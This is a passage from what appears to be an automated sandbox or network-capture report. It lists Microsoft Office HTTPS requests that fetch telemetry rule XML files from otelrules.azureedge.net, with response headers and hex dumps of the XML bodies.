6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:11 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-16849878b78fkwcjkpn19c5dsn00000003hg00000000dzch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:11 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-16849878b78nx5sne3fztmu6xc00000005g000000000ewkb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:11 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:11 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052811Z-16849878b78z2wx67pvzz63kdg000000035000000000c6w1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:11 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:12 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052812Z-16849878b786fl7gm2qg4r5y7000000004x00000000062ce x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:12 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:12 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052812Z-16849878b786lft2mu9uftf3y400000005v0000000008m2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:12 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:12 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 44be6224-701e-0032-738d-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052812Z-17c5cb586f6wnfhvhw6gvetfh40000000400000000005ven x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:12 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:12 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6795109f-a01e-00ab-085e-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052812Z-r197bdfb6b4c8q4qvwwy2byzsw00000004q000000000cyh9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:12 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052812Z-16849878b78bjkl8dpep89pbgg000000038g00000000b5d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:13 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:13 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9bc6d014-801e-008f-4946-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052813Z-17c5cb586f64v7xs992vpxwchg00000004k0000000006x4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:13 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:13 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:13 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052813Z-16849878b7898p5f6vryaqvp5800000005g0000000001v5s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:13 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:13 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 4e087ea8-e01e-0099-0e5a-28da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052813Z-15b8d89586fnsf5zd126eyaetw00000005u0000000003paw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:13 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
